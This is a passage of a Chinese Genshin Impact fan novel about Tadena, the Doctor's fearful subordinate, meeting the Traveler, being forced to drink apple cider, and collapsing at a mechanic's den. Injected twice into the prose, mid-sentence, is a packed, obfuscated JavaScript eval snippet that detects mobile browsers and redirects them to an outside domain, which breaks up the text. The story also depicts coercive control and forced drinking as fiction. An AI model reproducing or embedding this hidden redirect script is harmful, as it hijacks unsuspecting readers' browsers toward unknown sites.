“您最近一直忙着……”我试探地看了看多托雷的表情,“是事情已经有结果了吗?” “你是想问Theta切片的事情?”多托雷似笑非笑地微微压眼睨过我一眼。 我未曾想到多托雷会如此直白,心脏猛地一跳。 “不是的,主人……我并没有故意打听的意思……” 多托雷对Theta切片的事情讳莫如深的程度比我想得还要深。我或许不该如此鲁莽。 我心中漫起这样的懊恼。 但多托雷的回应令人惊奇。 他非常平静:“这么说来,Theta切片的事情也确实该让你也知情才对,只不过最近一直没有什么进展,自然也没有什么可值得特意告诉你一声的。” 多托雷似乎没有生气的倾向。 我的胆子稍微大了点。 “所以说……暂时还没办法找到Theta切片吗?” 审视的目光压下来。 多托雷不置可否:“Theta切片比我想得还要狡猾。真是有趣。这与其他的切片呈现出不同的显像。当初对他的‘改造’,又是否是造成这些不同的诱因呢?又或许,不止如此?” 我感受到那审视的目光越发明显且沉重了。牢牢地压着我,像是要把我的血肉连同灵魂一起榨出,检查其中的成分。 好在,多托雷很快结束了这样难以承受的审视。 “好了,这个话题就到此为止吧。”他说,“现在该去蒙德城了。” 我在多托雷的身后偷偷松了口气。在比往日再稍微隔开半步的距离落在多托雷的身后行走。 不知道是不是错觉,多托雷似乎看了我好几眼,甚至有过两次速度减缓。 明明一般情况,多托雷都会保持匀速的快步行走。这对他的身体构造并不困难,甚至不如说,刻意模拟正常人那般的身体波动和疲劳损耗反而会消耗更大的算力。 那被Omega切片曾经直言过“愚蠢蒙昧”的行为。 不过Theta切片很乐于用自己多余的能源和算力来“模仿”正常人。或者“模仿”记忆里的“自己”。 所谓的名为“多托雷”的个体,所有切片的本源,也应该是一个“人类”。 在创造之处被做出改变的Theta切片所一直追求的,大概也有“曾经作为人类”的一缕。虽然这只是我的猜测和无端的揣度,但我对此有相当的把握。 只是,不知道多托雷有究竟会怎么看待Theta切片的不同呢? 我抬头看了一眼多托雷的背影,不免感到迷茫。 说到底,我如今也是记忆残缺的状态,倒也没什么资格在此评价审视这件事了。 正在我如此想着,突然听到有人叫我的名字。 “塔德纳!” 我抬头,看见旅行者和派蒙。又看了看不知道何时到 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这家伙,恐怕现在正在为旅行者的警惕而感到暗自心喜吧。 我拉了拉多托雷的衣袖。 “嗯?” 多托雷一副不明所以的样子。 “主……我能和她们单独说会儿话吗?这两位是我的朋友。” “嗯?你是在问我吗?” “……” 这家伙,非要在这种关头弄出这一出吗? 我有些焦急。而另一边,派蒙似乎也才发觉气氛不太对劲,脸上刚才看见我时打招呼的喜悦也都尽数褪去。 派蒙不安地看了看我和多托雷,往旅行者身后躲了躲。 “这到底是怎么回事……” 旅行者紧盯着我们的方向。或者,更准确的说是,我的方向。 “我们这几天一直在打听关于你的消息。愚人众不知道为什么突然有了大的动作,但似乎又没有更进一步的打算,所以我们很担心你的安全,但一直没能打听到你的消息。” 我噎了一下,下意识看了一眼多托雷。 多托雷没有任何反应。 即便面对的是这些天给愚人众的计划造成了不小损失的旅行者,甚至还被当面提及了相关的事情,他的脸上依然是一种毫不相干的淡然。 但我做不到这么淡定。事实上,我现在感觉自己就像是热锅上的蚂蚁一样。 这诡异的气氛烫得我恨不得立刻逃走。 我急于离开这里,急于让多托雷不要再继续逗留在旅行者面前。这样焦急的情绪,甚至是我自己都无法言明他的来处。 “感谢您的关心。不过我没什么事,只是因为一些……”我卡了一下,绞尽脑汁才从脑海里扒拉出来差不多的词填充上去,“原因……所以最近才联系不上。” 旅行者定定地看了我一会儿。 “你没事就好。既然你还没回至冬的话,记得我们和凯亚的约定吗?他说过要请我们一次,不过之前你不在,加上骑士团最近很忙,就一直拖着,正巧今晚凯亚要履行之前的承诺了,你会来的吧?” 话题跳转太快,我甚至在脑海里思考了一下才想起来旅行者说的是什么事。 “抱歉……”我飞快地看了一眼多托雷,“这两天我可能抽不出来时间,还有其他的事情……实在抱歉,是我失约了。” 旅行者脸上没有丝毫意外的神色。她冷静地点了点头,在背包里翻找了一下,然后把一瓶经过精美包装的酒递给我。 “凯亚也说过猜到你大概率没有时间,所以给你准备了瓶装的苹果酿。” 多托雷在此刻插声:“塔德纳不喝酒。” 旅行者看过去:“苹果酿不含酒精。” 多托雷浅笑了一下。 “那么,既然是朋友的临别赠礼,便收下吧,塔德纳。” 我僵硬地走上前两步从旅行者的手里接过那瓶酒。 多托雷拍了拍我的肩膀。 “和你的朋友告别吧,塔德纳。毕竟,我们很快就要离开了。” 我抿了抿唇,艰难地挤出来一句“再见”,甚至连多余的一眼目光都不敢再往旅行者的方向投去一次,便狼狈地跟在多托雷身边被带走了。 114.第 114 章 塔德纳,在害怕身边的男人。 旅行者陡然意识到这件事。 …… 时至今日,旅行者也依然记得与塔德纳初次相见的时刻。 那样柔和的样貌,湖泊般绿的眼睛,温和且包容,让人生不出一丝一毫的警惕。 但也正是因为这点,旅行者对初次见面的陌生青年反而有些远离和刻意避退。 尽管青年所展示的一举一动,一字一句,甚至连说话时柔和的腔调,都能称得上是旅行者至此见过的所有人里最亲和,也最无威慑性的人。 那仿若不是一个“人”,而是人们对于所能交往的人最友善、最优选择的印象和期望的现实体。 旅行者从名叫“塔德纳”的青年身上找不到任何会让人觉得反感或可以称得上是“缺陷”的点,但她莫名觉得这并不是塔德纳所真正的内在面容。 旅行者本能地怀疑塔德纳的接近是一场蓄谋的计划,但青年初始表现出来的不亲不近又让旅行者放弃了这个揣测。 在加上塔德纳似是无意之间透露出来的“与迪卢克相识”的这件事,旅行者对眼前的青年打消了疑虑。 既然是认识迪卢克的人,应该不会是什么坏人吧。 旅行者如此想。 而这样的临时的信任终结于邪眼事件的开端,在晨曦的馈赠,迪卢克和凯亚对塔德纳奇怪的态度上。 知晓“邪眼”的专家,来自至冬,从属于某个神秘且权势强大的雇主。 旅行者从迪卢克和凯亚身上看到的是他们对塔德纳的试探,但偏偏这试探里又包藏着不小的信任。 很显然,他们相信着塔德纳,却不知道是出于什么原因,对塔德纳又难免揣度和试意。就像是,不确定塔德纳是否会选择出手帮助他们一样。 但这样,又说不通两人对塔德纳的熟捻和信任。 旅行者的疑问很快得到了回答。 就在酒馆里的“不欢而散”结束之后,凯亚找到了旅行者。 “旅行者,看你的表情,似乎是有一些事情要问我?” 这位心思城府都颇深的骑兵队长倚靠在长吧台近旁,手指把玩着酒杯的长脚细柄。 “有什么想问的,请尽管说吧。我会尽我所能回答可以回答的问题的。” 旅行者此刻终于能问出那个困扰许久的问题。 “塔德纳……到底是什么人?” “我就知道你会问这个问题。”凯亚轻笑一声,手指在杯口轻轻划过。 “硬是要说的话,大概,是一个‘挣扎在黑暗之中的好人’吧。”他的脸上露出回忆般的微笑。 “我不会向你强加我关于塔德纳的想法,我甚至能告诉你,塔德纳的身份并没有那么‘光明’,那么‘正义’。但是,他确实在一些事情上帮过蒙德,尽管他本人或许并不想要对此大张旗鼓地宣扬。” “‘塔德纳不会主动伤害任何一个人’。旅行者,唯有这一点,是我可以向你担保的。” “……” 旅行者有些惊讶。 凯亚并不是一个会轻易对某人托付重大信任的人,这位看似年轻的骑兵队长身上承载了太多沉重的过往,以及未来,以至于从青年被遮藏一半的眼中很难参透青年的想法。 但他却为塔德纳做出了单方面的担保。 旅行者没有理由不相信凯亚所说的话。 她没能从凯亚那里问出塔德纳的真实身份究竟为何,她看得出凯亚对塔德纳来自的那方势力的忌惮和讳莫如深,但她也并非毫无收获。 离开的最后,凯亚向旅行者问出了一个问题。 为旅行者拉开门的骑兵队长斜斜地倚靠在酒馆的门框上,门内的灯光半洒在青年深色的皮肤上。凯亚半隐没在黑暗中,半沐浴在灯光下。 而越过青年,旅行者看见在柜台后沉默着擦拭酒杯的迪卢克。 “旅行者,在你看来,一个人的立场,和一个人的实际所作所为,到底哪一个更为重要、能决定你对其的看法和态度呢?” 凯亚如此询问。 旅行者稍微犹豫了一下,才给出回答:“我的话,应该是更看重他的所作所为吧。毕竟,立场随时可以改变。不是吗?” “哈哈,果然。我就知道你会这么说。” 凯亚的问题自然是与塔德纳有关。 旅行者对此心知肚明,不过,就如她的回答一样,比起立场,她更看重一个人做了什么。 塔德纳做了很多事,面包房的那个小女孩,邪眼的情报,摧毁邪眼工厂的时候他也出了很大的一部分力。 甚至,以至于被愚人众的人盯上。 旅行者想起从地下室救出塔德纳时对方那狼狈的样子,明显颓靡的神情,还在为了不让人担心而勉强自撑。 就算,塔德纳真的是“坏人的一方”,旅行者想,她也不会就因此讨厌和远离塔德纳的。 毕竟,他们如今,也应该算得上是“朋友”了吧。 旅行者如此想着。 而且,塔德纳又不可能会是愚人众那种坏蛋。 对吧? 旅行者为自己心中突然出现的塔德纳和愚人众的突兀联想笑了一下,感到荒谬。 很显然,无论怎么看,塔德纳和为祸蒙德多次的愚人众都没有丝毫的相同点。 除了都来自至冬外。 不过,比起其他的,现在有着更重要的东西值得旅行者付以注意力。 比如,出现在塔德纳身边,与其形影相随、过往甚密的这个装束奇怪的男人。 这并不是旅行者第一次见到这个人。在歌德大酒店前,还与塔德纳并不特别相熟的时候,她们遇到了这个男人,并被告知他是塔德纳所谓的,“爱人”。 “爱人”。 多么神奇的词汇。旅行者从塔德纳身上并没有察觉到多少对身边人的、类似于“爱意”的情绪,而从那个陌生的男人身上,亦如是。 缠绕于两人之间的,是更加扭曲的链接和感情,很难将其一并概括为“爱”。 但塔德纳对身边人的熟稔是无可否认、无可质疑的。而男人,也确实对塔德纳颇多容忍。 至少看起来如此。 所以这也让旅行者有些动摇。 或许,他们真的是“爱人”的关系呢?也没有哪条规定说是男人和男人之间不准谈恋爱的对吧! 旅行者说服了自己。 短暂地。 但此刻不同。 站在相似的位置,面对“相同”的两人。当旅行者远远地再次看到塔德纳的身影和他身边高大的、足以要将并不健壮的青年的身躯完全笼罩在阴影下的身影时,无边的危险预感擒住了旅行者的心脏。 如同被带着剧毒的蜘蛛铺网缠绕。 但旅行者总觉得,在男人身边的塔德纳,才是此刻正位于蛛网的正中间,被紧紧缠绕无法动弹,只能一动不动静待死亡的猎物。 那个男人很危险! 旅行者想要提醒派蒙,却晚了一步。 “塔德纳!塔德纳,是我们。没想到能在这里看见你。我还以为你早就回至冬了。呃,还有这位……原来你们都还在蒙德啊。” 塔德纳的表情很僵硬。旅行者看到塔德纳下意识地看了自己旁边的男人一眼,似乎是在犹豫要不要回话,而他的眼神就像是在征求男人的同意一般。 旅行者谨慎地观察着塔德纳的状态:看上去有些低落疲惫,而且,塔德纳似乎还在害怕身边的男人。 而就在这时,旅行者察觉到了另一道存在感极强的目光。 来自塔德纳身边那个眼熟,但又莫名觉得陌生的男人。 男人若有所思地投过来视线,打量着旅行者,以及旅行者身边的派蒙。 旅行者敏锐地察觉到了冰冷刺骨的危险感。男人看过来的视线并不是看“人”的时候的视线,旅行者甚至觉得自己在对方的眼中恐怕只是一块石头。 或许,稍微加点修饰词会更加准确。 一块稍微别致的石头。 旅行者拉着派蒙退后,一只手放在身后,随时准备召唤武器进入战斗。 “诶……旅行者,你干嘛突然拉我,看清楚一点啊,这是塔德纳,旁边的是他的爱人,又不是什么坏人。” “等等,派蒙,那个人,好像……” 旅行者看到那个危险的男人似乎很快兴致缺缺,他收回了视线,转而落到一直站在自己身后半步、低着头显得有些畏缩的青年身上。 闲适地凝视着,如同毒蛇在欣赏困缚在怀中的猎物一样。 旅行者突然感到一阵恶寒。 旅行者看到塔德纳拉了拉男人的衣袖,男人便悠闲地稍微弯了弯腰,纵容地发出一声“嗯?”。 “主……我能和她们单独说会儿话吗?这两位是我的朋友。” 旅行者注意到塔德纳言半未尽的那个词。 “主……”是什么?对那个男人的称呼吗?名字?听起来不是很像。 男人靠得极近,几乎要完全覆压在青年瘦削的身上。旅行者看见男人似乎回答了什么,声音压得很低,只能让身边的塔德纳看看听见。 塔德纳在听到男人的话后神色变得纠结。 恐怕连塔德纳自己都没有注意到,此刻的塔德纳脸上的神情,那因为男人一句话而变化的神情,但又因为恐惧而颤抖着压抑下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473958|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,只有骤然黯淡润下来的眼睛不停地颤动,眼尾泛着淡淡的红。 像是被狠狠欺负了一顿一样。 旅行者看到男人似乎心情大好,连嘴角的弧度都真实了几分。 派蒙此刻才终于意识到现场的氛围过于奇怪。 她害怕地飞到旅行者的身后,在旅行者的耳边似自语般地低声问询。 “这到底是怎么回事……” 对啊,到底是怎么回事? 旅行者也想问这个问题。 关于塔德纳的真实身份,关于他身边这个一看就十分危险的男人的身份,以及他们之间到底是什么关系。 但现在,旅行者没有机会。 她只能将心中一个个蹦出来的疑惑压在心里,试探着和塔德纳对话。 “我们这几天一直在打听关于你的消息。愚人众不知道为什么突然有了大的动作,但似乎又没有更进一步的打算,所以我们很担心你的安全,但一直没能打听到你的消息。” “感谢您的关心。不过我没什么事,只是因为一些……原因……所以最近才联系不上。” 又一次。 旅行者注意到塔德纳又一次无意识地往后看了一眼男人。就在他卡顿纠结的时候。 为什么要在说到“原因”的时候停顿犹豫?以及,为什么要在这个地方看别人? 难道,其中的隐情,塔德纳消失这么久的原因,是与他旁边的那个男人有关吗? “你没事就好。既然你还没回至冬的话,记得我们和凯亚的约定吗?他说过要请我们一次,不过之前你不在,加上骑士团最近很忙,就一直拖着,正巧今晚凯亚要履行之前的承诺了,你会来的吧?” “抱歉……这两天我可能抽不出来时间,还有其他的事情……实在抱歉,是我失约了。” 塔德纳又看了一眼男人。 塔德纳一直在看身边人的脸色。旅行者意识到这点。 他太紧张了,甚至没能察觉到他身边那个神秘而危险的男人一直在观察他的表情。 旅行者想了想,觉得那很像主人随手一逗身边的小狗,用拴着事物的绳子吊在宠物的面前,看着宠物焦急的样子取乐。 这样的猜测实在失礼。塔德纳不是小狗,更不是宠物。 塔德纳是一个人,一个拥有着人格尊严,应该被给予尊重的正常的人。 甚至,塔德纳是旅行者所遇见的少有的如此优秀,又如此谦逊待人的人。和塔德纳相处很难不被如此温润有礼的人吸引好感。 无论如何,旅行者此刻至少能明确一点。 塔德纳和他身边的那个男人,绝对不是正常关系。 或许,甚至可能是塔德纳被胁迫了。 旅行者皱了皱眉,但还是保持着冷静。她知晓此刻最重要的事情是不要打草惊蛇。 塔德纳身边的男人过于危险,即使是在蒙德城内,众目睽睽之下,旅行者也没有戳穿之后能救出塔德纳的万全准备。 旅行者从背包里取出一瓶苹果酿,那是蒙德的风之神交给她、让她趁有机会转交给塔德纳的。 “凯亚也说过猜到你大概率没有时间,所以给你准备了瓶装的苹果酿。” 男人在此刻插嘴。 “塔德纳不喝酒。” 虽是提醒,却更像警告。 警告谁呢? 旅行者看了一眼轻微地颤抖了一下的塔德纳,以及那伸出一点却又很快收回的手。 “苹果酿不含酒精。”旅行者紧紧握着手里的酒瓶,迎着男人的视线向前一步。 男人愣了一下。 那点怔愣十分轻微,就像是错觉一般。但旅行者很确信自己看到了。 他在惊讶? 惊讶于什么? 旅行者想不通,因为很快,男人便收回了那点不经意泄露出来的痕迹,又变成了滴水不漏的模样。 “那么,既然是朋友的临别赠礼,便收下吧,塔德纳。” 男人大发慈悲地发话允许,他身边的青年才算是如蒙大赦般地上前从旅行者手里拿走那瓶苹果酿。 对塔德纳有着极端控制欲的家伙。 旅行者如此评估着,看向男人的眼神更加不善,也更加警惕。 男人对此毫不在意。他自始至终都对来自旅行者的抵触和警戒毫不介意,比起其他的所有事物和人,在此刻,似乎只有他身边的青年能够让他稍微愿意降下一点身份垂以目光。 “和你的朋友告别吧,塔德纳。毕竟,我们很快就要离开了。” 男人笑着拍了拍塔德纳的肩膀,姿态无比亲昵。 但旅行者从其中感受不到丝毫的情意。 115.第 115 章 与旅行者意料之外的见面并没有引起丝毫波澜。至少在表面上来看是如此。 多托雷对旅行者的兴趣程度比我想象的要低很多,甚至比不上对旅行者交付于我的那瓶苹果酿。 而那瓶苹果酿,连在我都没来得及检查一番的时候,便被多托雷要了过去。 “毕竟,要是被人在里面偷偷塞了东西,可就不太好了,对吧?” 我收紧了怀中的苹果酿,胸腔里的心跳声不可抑制地加速。 我很清楚,多托雷并非空穴来风,旅行者没有理由突然交给我一瓶苹果酿,牵涉到凯亚的理由大概率只是托辞。 更有可能的是,那瓶苹果酿其中真的另有玄机。 要交给多托雷吗? 我在心中犹豫,紧张地咬合着唇。直到嘴里尝到一点铁锈的味道,才发觉自己不知道什么时候把嘴唇咬破了。 我抬头,正对上多托雷脸上莫测的笑容。多托雷似乎并不着急,他甚至有闲心旁观我纠结的神情并以此为乐。 逃不过。 我在心中绝望地意识到这一点。现在的我,一举一动、一思一想都被多托雷深深地控制着,根本挣脱不出。 同样,包括现在,就连最简单的拒绝也没办法做到。 作为一个“人”而言,实在是过分可悲。 不,说到底,多托雷也从来没有把我当作一个“人”来看待过吧,这些想法,还真是多余…… 我别无选择,只能将手里被体温温暖成一个温度的苹果酿递过去。 多托雷没有丝毫意外的神色。 他是那样的笃定,笃定我不会违逆,笃定我最终依然会选择听从他的命令。 像狗一样听话。 我感受到心里的堵塞和郁闷,为了纾解这样的情绪,我决定低头不去看多托雷的动作。 若那瓶苹果酿真的另有玄机,那也没办法了。大抵是命运从不眷顾我,连这样的细枝末节也要万分为难我。 多托雷似乎检查了一番那酒瓶。我听到液体在闭塞的玻璃瓶中流过的声音,紧接着,是瓶塞被拉拔扯出,摩擦瓶口的涩声。 苹果的香味很快弥散在空气中。 能在甫一被发明出来便在嗜酒如命的蒙德人之中占据一席之地的饮料确实有着匹敌它名声的实力,经过特殊处理的苹果香气经久不散,仿佛还如同悬挂于树枝时一般鲜活,气味香甜,却不甜腻,自带着一股清香。 我在心中暗自可惜这瓶苹果酿就要如此在多托雷手中暴殄天物之时,突然被靠近的多托雷掐着下巴抬起头,我惊恐地挣扎了一下,但口腔被外力强迫打开,多托雷将瓶口塞进我的嘴里,动作十分粗暴地灌下。 咕咚——咳咳…… 艰难地吞咽,但最终还是逃脱不掉苹果酿被呛入气管,只能痛苦地弯腰咳嗽的结果。 我紧紧抓着多托雷的手臂,喉管泛起的麻痒疼痛让我失去了反抗的力气。 “真是浪费啊,如果塔德纳的朋友直到自己送出的礼物被如此糟蹋,恐怕也会伤心的吧。”多托雷在一旁虚情假意地笑着。 “咳咳……” 这一切不都是多托雷造成的吗?这个家伙又在发什么疯?! “既然是朋友相赠的珍贵礼物,果然还是要好好珍惜吧。”多托雷自顾自地说着,突然掐着我的手臂把我按在一旁的花坛沿上。 “张嘴。”他将瓶口抵在我的唇边,命令着,“喝吧。我会好好地看着你把它喝完的。” 我看着近在咫尺的多托雷有些头皮发麻。 这家伙,怎么突然这么大火气?难不成是在酒瓶里发现了什么东西?可真的是这样的话,他又为什么非要让我喝了苹果酿? 似乎是看出我的迟疑,多托雷越发用力,玻璃的瓶口挤在我的唇里磕到了牙齿。 我忍不住向后逃了逃。在多托雷的怒火还没更近一步之前抢先开口。 “等等,主人,这样很难受,我能换个姿势吗?我会喝完的,您不要这样……” 多托雷没有说话,甚至连表情都没有丝毫变化。但同样没有变动的还有他举起酒瓶的手臂,既没有收回,也没有更近一步。 我从中看出一点端倪,忍着心中的紧张强迫着自己保持镇定伸出手抚上多托雷握住酒瓶的那只手。 多托雷没有避开。 我闭了闭眼,就着这样的动作用多托雷的手倾斜酒瓶,然后仰头就身去喝。 清甜的液体滑过喉咙匀速地流入进胃里,明明应该是鉴赏美味的时刻,我却只感到折磨。 胃胀鼓鼓的,好像要喝不下了。 本就刚经历了一场惊吓还未完全平息,又被多托雷这样突如其来地折磨,身体无可抑制地散发着疲惫的信息。 我甚至感觉自己都快站不稳了,只能凭借着意志坚持吞咽的动作。 “好了。” 多托雷大发慈悲地开口,将那还剩下一个瓶底的苹果酿拿开。 我脱力地趴在多托雷胸口。 多托雷随手抚摸着我的后颈。 “在不停地发抖啊,有这么害怕吗?” 似是自言自语。 我抖了一下,将自己埋得更深。 “既然害怕,就装的更好点,别总让我抓到把柄。” …… 多托雷,简直就是这个世界上最不可理喻的存在。 “…他到底是什么意思?明明最开始让我跟着他的也是他,莫名其妙让我成为副官,莫名其妙做出那个切片,关于我的情感有什么好研究的?要让我害怕,让我恭敬,又从不阻止我做那些事,还莫名其妙地去除我的记忆,不让我找,最后,最后还说了那些莫名其妙的话……什么叫做‘装的更好点’?他明明就知道,知道那玩意儿肯定有问题……唔……” “我的祖宗啊。女皇大人在上,这真的是我该听的内容吗?好大人,您要不然去找您那口子自己亲自问去?问我,我也不可能知道啊。” “你不是北大陆情报网的负责人,号称‘什么都知道’的存在吗?” 我斜靠着冰冷的墙壁,被酒精荼毒的大脑恍惚地看向对面的黑暗。 在那里,一双机械质感的红色鸟目冷冰冰地看过来。 我晃了晃手中还剩一半的酒杯,对周身千篇一律的黑暗开始感到厌烦。 “机械师,你是没钱交电费吗?每次我来就没见你开过灯。这里太黑了。” “首先,请允许我纠正,不是‘负责人’,而是‘管理员之一’。其次……您喝醉了,好大人。”鸟目的方向传出一声叹气,“您家那位大人呢?我记得那位大人似乎不准您喝酒的。” “别提他。”我咬着冰冷坚硬的杯沿。 “别提他。我现在不想见他,也不想听到他的名字。你再提这件事,我就把你鸟头拆了从这里开窗扔出去。” 房间里响起急促繁忙的振翅声。从各个方向传来,但很快平息下来。 “好大人,还请不要说这么可怕的话。孩子们会害怕的。” “呵,机械鸟也会有情绪?” 鸟目的方向沉默了一会儿。在压抑的沉默之后,机械的咔嚓咔嚓的运转声响起,一只泛着金属光泽的机械鸟从伸手不见五指的黑暗里走到伸手堪见五指的黑暗里。 我眯了眯眼,心中莫名响起一道突兀且荒唐的想法:这房间里的唯一光源,恐怕就这鸟的一双眼睛吧。幸好这家伙造的是机械鸟,没有叶绿体,不需要进行光合作用才能存活。 不过,就算是没有叶绿体的人类,也不能一直在黑暗里生活吧? 我百无聊赖地想着。 那机械鸟跳到我的面前,动作僵硬地啄了啄自己并不存在的羽毛。事实上那只是简陋的一块铁皮而已。 真难想象,于机械领域手艺无出其右,甚至传闻可以和【木偶】大人较量一番的机械师,给自己捏造的外示形象竟然如此粗糙。 机械鸟做完啄羽毛的动作抬头看我,鸟嘴开合。 “这句话,您恐怕想问的人不是我吧。” 我装傻:“怎么,我身边除了你,还有第二只‘鸟’?” “呵呵,当然不。毕竟,严格来说,我才是您的‘第二只鸟’,好大人。” “……我要把你头拧下来。” “呵呵,您可真是个人渣。” “真有意思。”我用一只手撑着自己滚烫的脸颊,“从来只有说我是‘好人’的人,只有你一个,坚定不移地认为我是‘人渣’。说真的,有没有可能你需要更改一下你的错误想法?” “我对您的评价永远不会改变,好大人。外人看到的只是您精心披上的伪装而已,至于您的内在。呵呵,恕我直言,您与您的那位大人一样,都是不折不扣的人渣,心理变态。” “……” “好大人,您怎么不开心了?” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“哎,好大人,您觉得那位大人‘不可理喻’,可现在的实际情况,分明是您‘不可理喻’才对。那位大人对您已经是极其地让步了,无论是放过探测那瓶苹果酿,还是没有补上新的耳坠。甚至,您摧毁邪眼工厂,做出的那件违逆之事,那位大人也轻飘飘地揭过了,不是吗?” “所以,你的意思是,错全在我?” “我可没说。”机械鸟又嘎吱嘎吱地拍了拍翅膀。 我泄力地躺在沙发上,倦怠地用手背蒙住眼睛。 胸腔的心脏搏动的声音变得越来越大。 嘎吱嘎吱的声音又慢慢靠近。 “好大人,我是普通人,普通人一生也不过短暂的几十年,而对于我这样残破多病的身体,这个时间还要更加缩短,说不定哪天您再看见我就是隔着一层棺木了。” 鸟头里传出来的声音变得低沉。 “对于普通人,若是一个人能在他的生命里占据哪怕七八年的时间,那也是于一个人一生十分之一的长度。您与那位大人相处了四百多年,这其中的比重又究竟如何沉重呢。四百多年,那可是一个我想都不敢想的数字啊。这一点,无论是对您,还是对那位大人,都是一样的。” 我有些晕乎乎的。 “是啊,你说得对,那可是,四百多年啊……” 四百多年,足够一个人变成尸体,腐烂成泥,连骨头都成灰。 我撑着沙发坐起来。 “那我先走了,打扰你这么久,实在抱歉。” “好大人,可以请您不要突然对我变换说话方式吗?我更习惯您之前那副对我渣言渣语的样子。” “随便吧。下次再说。” 我扶着额站起来,大脑因为酒精浸染的缘故晕的几乎要站不稳,闭了闭眼才从眩晕中勉强清醒一点。 早知道就不喝酒了。喝酒误事。 我想要移动,却发现头重脚轻,与此同时,一股针扎般的,细密的疼痛从大脑的深处蔓延起,意识昏沉间,只知道自己的身体控制不住地倒在地上。 以及耳边焦急的声音。 “大人?!大人!您怎么了!” 116.第 116 章 没有光亮的房间里,振翅的声音愈发迅疾,从房间的四个角落,从每一面墙壁,甚至,从天花板传来。 唯一的光亮,那只被主人亲自操纵的机械鸟灵巧地跳下来,红色的眼睛一眨不眨地盯着倒在地上的青年。 越来越近,越来越近。 突然,这间黑匣子般的房间被巨大的外力轰开,冰冷的白光照射进来,正正好笼罩正缓慢窥伺的机械鸟,以及,地面上的青年。 而那道光柱映照得整个房间不再黑暗,便也能让人看清遍布于各个角落的,如苔藓一样挤满整个房间的机械鸟。 而来人,这位恶名昭著,大名鼎鼎的执行官大人连多余的一点眼光都懒得施舍给这诡异的一幕。 “再靠近一厘米,我可不敢保证你和你的这群废铁会遭受怎样的结局。” 光柱正中心的机械鸟惨叫了一声,惊恐地飞离。 “啊,瞧瞧,这是哪位尊贵的大人来了?女皇大人在上,没想到我这样粗鄙简陋的屋舍都能迎来您这样显赫的人物。愚人众的执行官大人,头脑无出其右的尊敬的【博士】大人,还请您原谅我的未曾远迎和失礼。” 通过鸟嘴转述发出的声音变得十分谄媚。不知道是因为恐惧还是这刚被浇了一头水的、临近报废的机械身体发声装置已经过于老旧,总之,声音十分颤抖。 多托雷迈步走进来,随着他的脚步,一些地上的机械鸟都慌慌张张地避让开。但它们的数量实在是太多,动作也太过迟钝,没来得及的一些,翅膀被无情地踩中,然后报废。 房间里传来隐约的、心痛的“嘶”声。 “诶诶,大人,您,您慢点。我的孩子们可经不起您这样折腾,哎哟。” “一堆废铁,我看不到任何要被小心对待的价值。” “……您的言辞还是一如既往地犀利。” 多托雷手中的光柱扫过一圈房间内部,悠闲而漫不经心地评价。 “你对房间的布置还真是别致。藤壶吸附海龟贵客一般的装修风格,是什么新的流行风尚吗?” 随着灯光扫过,所有被强光照射到的机械鸟都猛烈地抖动了一下,然后“嚓嚓”地睁开眼睛。 如出一辙的红色机械眼,密密麻麻,若有密集恐惧症的患者亲身看到这样的场景,保不准会立刻起一身鸡皮疙瘩,恨不得原地去世才是。 无论从哪个方面来说,多托雷所批评语“藤壶附集的龟壳”都无比准确,实际情况甚至有过之而无不及。 “哎,尊贵的大人,别用光照这些孩子,它们会应激的。”机械鸟拍了拍翅膀,声音焦急。 不过却并没有阻止的动作。 就如同是在回应声音所言,那些苏醒过来的机械鸟都开始变得躁动,虎视眈眈地注视着房间中间的男人,只不过,即使是机械的造物很显然也明白男人的危险性,不敢轻举妄动。 不敢对多托雷有任何动作的部分机械鸟开始将目标转向地面上昏迷的青年。两三只机械鸟溜出来,尖锐的鸟喙就要触碰到青年的脸颊。 呯——! 锐利的蓝光划过空气,精准地贯穿一只机械鸟的核心,将那敢于在恶龙面前染指宝物的僭越污秽之物钉在地上,随后又是接连的、毫不犹豫的呯呯两声,如出一辙的操作。 房间内刹那安静了一瞬。 “我没有说过,不要动我的东西吗?” “哎呀呀,冤枉啊,【博士】大人,这些小家伙可不完全受我的操纵啊,说不定只是这些小家伙太喜欢塔德纳大人了才会情不自禁地靠近。”正中央的机械鸟仰头长叹了一下。 “哎,您也知道,像塔德纳大人这样存在,是那样容易吸引……” 呯——! “闭嘴。”多托雷瞄准着机械鸟的左翼,那里已经有了一个可怖的孔洞,连内部的线路都能够窥得一二。 多托雷冷笑着:“你既然对塔德纳如此了解的话,那也应该知道,我和塔德纳不一样,塔德纳或许会忍耐你,但我的耐心可没那么多。现在,带着你的废铁滚远一点。你,有点太碍眼了。” 被强迫着听了一晚上酒鬼发疯还要被酒鬼的那个控制欲强到变态的上司(爱人)侮辱殴打一顿的机械师莫名感到了不忿和委屈。 但他只能隐忍。 因为他打不过。这两口子他谁也打不过,所以他只能隐忍。 被打穿了一只鸟翼的机械鸟隐忍地跳走,他甚至不敢说出“这房间的主人明明是他”这句话。 而在他的身后,细细簌簌的是成百上千只如出一辙型号的机械鸟,蝗虫般密密地涌出门。 在离开的最后,残缺的机械鸟回头看了一眼正蹲下将青年搂进怀里的男人,隐忍了一下,但有点没隐忍住。 于是他没忍住犯了个贱。 “您要是能在塔德纳大人清醒的时候对他这么温柔体贴的话,塔德纳大人也不至于大晚上来我这小破屋受罪了。” 多托雷头也不回,身侧的蓝光一闪。 “啊!别打了,大人!再打真的要废了!” 多托雷等了很久才等到那聒噪难听的惨叫声跑远。他将手中的发光装置的光线调暗,变成温和的散光后放在手边的桌子上,随后一手托着青年的腰,一手托在腿弯将人抱起来。 